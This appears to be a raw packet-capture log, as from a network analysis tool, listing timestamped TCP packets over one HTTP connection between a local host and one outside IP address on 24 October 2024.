Oct 24, 2024 04:02:05.504683971 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504703045 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504719973 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504750013 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504762888 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504807949 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504815102 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504848003 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504857063 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504884005 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504913092 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504929066 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504965067 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504970074 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505012989 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505028009 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505079031 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505111933 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505131006 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505146980 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505168915 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505181074 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505201101 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505214930 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505220890 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505254984 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505256891 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505289078 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505300045 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505330086 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505342960 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505377054 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505402088 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505412102 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505415916 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505448103 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505462885 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505481958 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505490065 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505516052 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505521059 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505573988 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505584002 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505619049 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505628109 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505655050 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505661964 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505690098 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505698919 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505724907 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505733013 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505760908 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505773067 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505798101 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505809069 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505845070 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505851030 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505899906 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505904913 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505939007 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.505954027 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505969048 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.505975962 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.506010056 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.506030083 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.506045103 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.506050110 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.506078959 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.506086111 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.506113052 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.506113052 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.506148100 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.506162882 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.506181955 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.506186962 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.506217957 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.506230116 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.506253958 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.545998096 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.546034098 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.546071053 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.546086073 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.546101093 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.546104908 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.546118021 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.546140909 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.546163082 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.546170950 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.546190023 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.546243906 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.546674967 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.546705008 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.546727896 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.546739101 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.546742916 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.546775103 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.546785116 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.546814919 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.546819925 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.546849966 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.546859026 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.546885967 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.546892881 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.546921968 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.546936035 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.546968937 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547019005 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547051907 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547082901 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547086954 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547101974 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547131062 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547143936 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547193050 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547199011 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547235012 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547247887 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547280073 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547290087 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547341108 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547363997 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547403097 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547418118 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547436953 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547450066 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547472954 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547483921 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547517061 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547527075 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547579050 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547579050 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547612906 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547627926 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547648907 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547657967 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547684908 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547691107 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547732115 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547739983 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547776937 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547791004 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547811985 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547820091 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547848940 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547863007 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547883987 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547893047 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547919035 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.547928095 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547967911 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.547975063 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.548022985 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.548029900 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.548065901 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.548079014 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.548099041 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.548110962 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.548134089 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.548145056 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.548167944 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.548178911 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.548203945 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.548218966 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.548238993 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.548250914 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.548276901 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.548283100 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.548321962 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.588484049 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.588540077 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.588577032 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.588604927 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.588610888 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.588622093 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.588648081 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.588654041 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.588682890 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.588686943 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.588721037 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.622467041 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.622526884 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.622558117 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.622591972 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.622621059 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.622627020 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.622652054 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.622662067 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.622672081 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.622703075 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.622951984 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.622999907 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623029947 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623060942 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623069048 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623095989 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623100042 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623136997 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623140097 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623183012 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623193026 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623228073 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623234034 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623264074 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623270035 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623300076 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623301983 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623338938 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623368025 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623413086 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623421907 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623452902 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623488903 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623495102 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623527050 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623528957 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623567104 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623579979 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623615980 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623620033 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623646021 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623656988 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623683929 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623699903 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623737097 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623742104 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623768091 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623775005 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623805046 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623805046 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623842001 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623845100 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623877048 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623879910 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623913050 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.623914957 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623949051 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.623966932 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624015093 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624021053 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624062061 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624074936 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624109983 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624114990 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624140978 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624152899 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624175072 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624183893 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624217987 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624231100 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624264956 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624274015 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624305010 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624316931 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624350071 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624352932 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624387980 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624389887 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624427080 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624428034 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624464035 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624464989 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624497890 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624512911 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624537945 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624555111 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624588966 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624598026 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624630928 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624631882 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624666929 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624669075 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624708891 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624722004 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624766111 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624773979 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624809027 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624818087 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624844074 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624852896 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624881029 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624886990 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624917984 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624922991 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624954939 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624959946 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.624994040 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.624998093 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.625030994 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.625035048 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.625061035 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.625071049 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.625098944 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.625118971 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.625154972 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.625166893 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.625188112 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.625195980 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.625225067 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.625230074 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.625260115 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.625264883 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.625298023 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.625299931 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.625334024 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.625334978 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.625369072 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.625376940 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.625406981 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.666570902 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.666675091 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.666709900 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.666743994 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.666766882 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.666785955 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.666791916 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.666837931 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.667408943 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.667510986 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.667546988 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.667555094 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.667582035 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.667588949 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.667622089 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.667670012 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.667701006 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.667715073 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.667735100 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.667738914 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.667776108 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.667839050 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.667870045 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.667881966 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.667903900 CEST	80	49930	185.215.113.16	192.168.2.7
